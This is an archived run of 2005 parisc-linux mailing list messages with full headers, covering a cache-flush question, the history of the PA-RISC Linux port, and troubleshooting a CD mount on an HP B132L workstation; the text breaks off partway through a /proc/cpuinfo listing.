X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about ccio and fdc request:
Date: Sun, 30 Oct 2005 08:25:48 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20051030152548.GC9235@parisc-linux.org>
References: <1130389617.31977.16.camel@localhost.localdomain>
	<20051027201333.GA3107@netfall.com>
	<1130543952.20233.10.camel@localhost.localdomain>
	<1130563229.20233.19.camel@localhost.localdomain>
	<4363E43D.5030208@tiscali.be>
	<20051029214456.GB6550@parisc-linux.org>
	<4363FBD4.9000003@tiscali.be>
	<20051030000253.GA11807@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623934 16876 80.91.229.3 (22 Nov 2014 02:38:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Oct 2005 15:25:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 30 Oct 2005 16:25:56 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F067B7D73B;
	Sun, 30 Oct 2005 08:25:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31082-07; Sun, 30 Oct 2005 08:25:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 546617D73C;
	Sun, 30 Oct 2005 08:25:53 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 383C57D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Oct 2005 08:25:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31118-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Oct 2005 08:25:49 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AE1107D738
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 30 Oct 2005 08:25:49 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 325D6494011; Sun, 30 Oct 2005 08:25:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051030000253.GA11807@colo.lackof.org>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UoMWY6NpeSEkXb6WZHQhaXN1IGRvb8CF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23194

On Sat, Oct 29, 2005 at 06:02:53PM -0600, Grant Grundler wrote:
> No. Older PDC (pre-Astro) probably doesn't implement that bit.
> Sorry, I don't have time to investigate exactly which ones do
> besides the Astro boxes and PAT PDC.
> 
> And even for SBA, I'd like to make this self modifying code
> that writes a NOP over the FDC in if it detects the system
> doesn't need FDC. That would get rid of another branch in
> a critical code path.

Is it possible this bit is set incorrectly on PA8800 boxes and that's
the cause of our cache problems?

(I doubt it, but wouldn't it be nice if that were the case ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Weissmann <paul@doorslam.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Historical ties between MKLinux and PA-RISC Linux
Date: Thu, 3 Nov 2005 12:10:22 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20051103111022.GB3576@inertia.doorslam.net>
Reply-To: paul@doorslam.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623935 16878 80.91.229.3 (22 Nov 2014 02:38:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Nov 2005 11:11:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 03 Nov 2005 12:11:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E43B67D66A;
	Thu,  3 Nov 2005 04:10:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27016-06; Thu, 3 Nov 2005 04:10:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3967B7D66B;
	Thu,  3 Nov 2005 04:10:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93FB27D669
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Nov 2005 04:10:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27016-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Nov 2005 04:10:30 -0700 (MST)
Original-Received: from inertia.doorslam.net (inertia.doorslam.net [217.13.197.79])
	by free.linux.hp.com (Postfix) with ESMTP id B84377D668
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Nov 2005 04:10:29 -0700 (MST)
Original-Received: from inertia.doorslam.net (localhost.doorslam.net [IPv6:::1])
	by inertia.doorslam.net (8.13.4/8.13.4) with ESMTP id jA3BARIr005869
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Nov 2005 12:10:27 +0100 (CET)
Original-Received: (from paul@localhost)
	by inertia.doorslam.net (8.13.4/8.12.1/Submit) id jA3BAMnJ031068
	for parisc-linux@lists.parisc-linux.org;
	Thu, 3 Nov 2005 12:10:22 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EZUbY1wSeSEkNL6WZHQhaXN1IGRvb8AH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23195

Hi,
	I'm currently trying to mop up the Linux and 'Other OS'
pages on OpenPA and populate them with more useful content

I'd be very grateful if people here could help me with insight
into the historical ties between PA-RISC Linux and the previous
open-source operating systems (MKLinux/hppa, Utah Mach etc.)

Interesting items:

 - Influences these OSs had on the current PA-RISC Linux port
 - General history of the open-source/development OSs on hppa
 - Technical judgements on the previous efforts
 - History of the PA-RISC Linux port

Please keep me on cc: as I'm not subscribed.

Thanks.

        - paul

-- 
 the mind cannot win over the matter, for once the mind is asked
 to do too much, it quickly shows itself to be matter as well.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Historical ties between MKLinux and PA-RISC Linux
Date: Thu, 3 Nov 2005 05:53:14 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20051103125314.GU23749@parisc-linux.org>
References: <20051103111022.GB3576@inertia.doorslam.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623935 16881 80.91.229.3 (22 Nov 2014 02:38:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul Weissmann <paul@doorslam.net>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Nov 2005 12:53:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx051) with SMTP; 03 Nov 2005 13:53:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54C337D678;
	Thu,  3 Nov 2005 05:53:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27883-08; Thu, 3 Nov 2005 05:53:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DC7F7D674;
	Thu,  3 Nov 2005 05:53:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 00BBE7D672
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Nov 2005 05:53:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27883-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Nov 2005 05:53:15 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 75FBA7D671
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Nov 2005 05:53:15 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 0BB2649400B; Thu,  3 Nov 2005 05:53:14 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051103111022.GB3576@inertia.doorslam.net>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Em0YYy5ReSEkQb6WZHQhaXN1IGRvb0Da
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23196

On Thu, Nov 03, 2005 at 12:10:22PM +0100, Paul Weissmann wrote:
> I'd be very grateful if people here could help me with insight
> into the historical ties between PA-RISC Linux and the previous
> open-source operating systems (MKLinux/hppa, Utah Mach etc.)
> 
> Interesting items:
> 
>  - Influences these OSs had on the current PA-RISC Linux port
>  - General history of the open-source/development OSs on hppa
>  - Technical judgements on the previous efforts
>  - History of the PA-RISC Linux port
> 
> Please keep me on cc: as I'm not subscribed.

I got involved in the parisc-linux port because the MKLinux port said
it worked on every 715 except the 715/33 ... and I only had a pair of
715/33 machines at the time.  I don't remember looking at the MKLinux
port for ideas, though others may have done so.

I did a paper for OLS2000 which is basically an early 'state of the
port': http://ftp.parisc-linux.org/docs/willy/ols2.pdf

There used to be a weekly report, which is still at
http://www.parisc-linux.org/weekly/ though as you can see, it's been a
while since that was updated.

There have been some 'state of the port' emails, typically in january:
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-January/022058.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022309.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018884.html
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018898.html

I think we kind of forgot for 2005 ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Historical ties between MKLinux and PA-RISC Linux
Date: Thu, 3 Nov 2005 19:24:49 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <7d01f9f00511031024i2a45efd3u4ef5cd4d9c9d0230@mail.gmail.com>
References: <20051103111022.GB3576@inertia.doorslam.net>
	<20051103125314.GU23749@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623935 16884 80.91.229.3 (22 Nov 2014 02:38:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Paul Weissmann <paul@doorslam.net>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Nov 2005 18:25:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 03 Nov 2005 19:25:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B7ED7D69A;
	Thu,  3 Nov 2005 11:24:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31999-01; Thu, 3 Nov 2005 11:24:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92CAF7D682;
	Thu,  3 Nov 2005 11:24:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC3E97D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Nov 2005 11:24:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31911-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 3 Nov 2005 11:24:51 -0700 (MST)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.199])
	by free.linux.hp.com (Postfix) with ESMTP id 2560C7D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  3 Nov 2005 11:24:50 -0700 (MST)
Original-Received: by nproxy.gmail.com with SMTP id y25so119388nfb
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 03 Nov 2005 10:24:49 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=UKcRJCDLyyYqqr3IYPpv18ZiofsPvzro/JUDpIwZlOupZXFUlqa7POIgv/4UB2vGOVFH2MjQkHJ+/DhgfYTqFBevP3QkgizUD8EQawW59XQ+FNR1XJJ8Z5HKVZYM7Gq7eKjQ68hZKrqIYU2dNuyxhi1UoQfutbf/Dozx+RrrGzM=
Original-Received: by 10.48.108.1 with SMTP id g1mr344723nfc;
	Thu, 03 Nov 2005 10:24:49 -0800 (PST)
Original-Received: by 10.48.3.18 with HTTP; Thu, 3 Nov 2005 10:24:49 -0800 (PST)
In-Reply-To: <20051103125314.GU23749@parisc-linux.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: VTMYY+4YeSEkWb6WZHQhaXN1IGRvb0Bq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23197

On 11/3/05, Matthew Wilcox <matthew@wil.cx> wrote:

> >  - History of the PA-RISC Linux port
> >
> There used to be a weekly report, which is still at
> http://www.parisc-linux.org/weekly/ though as you can see, it's been a
> while since that was updated.
>
> There have been some 'state of the port' emails, typically in january:

As for the "ESIEE Team" contribution/history, there are some info here:
http://www.pateam.org/history.html
http://www.pateam.org/work.html
and for much older status reports:
http://www.pateam.org/accomplished.html

If you need more specific detail, my personnal knowledge starts by the
end of 2001. Others are much more knowledgeable than me anyway ;-)

HTH

T-Bone

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot mount installation CD after boot
Date: Mon, 07 Nov 2005 21:50:25 +0100
Lines: 269
Approved: news@gmane.org
Message-ID: <436FBE11.8040405@broadpark.no>
References: <mailman.0.1131378614.29728.parisc-linux@lists.parisc-linux.org>
	<20051107172054.GI23749@parisc-linux.org>
	<436FA972.7030007@broadpark.no>
	<200511072058.35129.eggert.ehmke@berlin.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Boundary_(ID_24Z/Hnb6/lCwIuiHFjTutw)"
X-Trace: ger.gmane.org 1416623936 16888 80.91.229.3 (22 Nov 2014 02:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Eggert Ehmke <eggert.ehmke@berlin.de>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Nov 2005 20:52:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 07 Nov 2005 21:52:02 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72D2F7D695;
	Mon,  7 Nov 2005 13:51:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32538-01; Mon, 7 Nov 2005 13:51:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C95387D68A;
	Mon,  7 Nov 2005 13:51:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 030507D686
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 Nov 2005 13:51:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32115-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 7 Nov 2005 13:51:51 -0700 (MST)
Original-Received: from osl1smout1.broadpark.no (osl1smout1.broadpark.no [80.202.4.58])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3EE7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 Nov 2005 13:51:51 -0700 (MST)
Original-Received: from osl1sminn1.broadpark.no ([80.202.4.59])
	by osl1smout1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IPL002GQRGD8M80@osl1smout1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 07 Nov 2005 21:55:25 +0100 (CET)
Original-Received: from tolstoy.puszczka.com ([84.48.69.228]) by osl1sminn1.broadpark.no
	(Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004))
	with ESMTP id <0IPL00KB5RF7RK32@osl1sminn1.broadpark.no> for
	parisc-linux@lists.parisc-linux.org;
	Mon, 07 Nov 2005 21:54:44 +0100 (CET)
Original-Received: from [192.168.1.11] (ferret.puszczka.com [192.168.1.11])
	by tolstoy.puszczka.com (Postfix) with ESMTP id 1197D1331A; Mon,
	07 Nov 2005 22:38:45 +0100 (CET)
In-reply-to: <200511072058.35129.eggert.ehmke@berlin.de>
X-Accept-Language: en-us, en
User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051029)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gdsdY3IReSEkUL6WZHQhaXN1IGRvb8AL
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23198

This is a multi-part message in MIME format.

--Boundary_(ID_24Z/Hnb6/lCwIuiHFjTutw)
Content-type: text/plain; charset=ISO-8859-1; format=flowed
Content-transfer-encoding: 7BIT

Eggert Ehmke wrote:
> 
> It's a  Hp 8132+, this is the output of 
> cat /proc/cpuinfo:
> processor       : 0
> cpu family      : PA-RISC 1.1e
> cpu             : PA7300LC (PCX-L2)
> cpu MHz         : 132.000000
> model           : 9000/778/B132L+
> model name      : Merlin L2+ 132 (9000/778/B132L)
> hversion        : 0x00005030
> 
> It runs under Debian right now.
> Eggert
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Just burnt a fresh copy of the 2005.1 minimal install iso and fired
it up on my B132L (not quite the same as your B132L+ model - but
pretty darned close).

CDROM is connected internally to the narrow SE bus (lasi). 9GB
disk on the high voltage diff controller (you have regular fast+wide
instead of HVD don't you).

Worked like a charm. CD was found on /dev/cdroms/cdrom0 as expected.

CPUINFO:
processor       : 0
cpu family      : PA-RISC 1.1e
cpu             : PA7300LC (PCX-L2)
cpu MHz         : 132.000000
model           : 9000/778/B132L
model name      : Merlin L2 132 (9000/778/B132L)
hversion        : 0x00005010
sversion        : 0x00000481
I-cache         : 64 KB
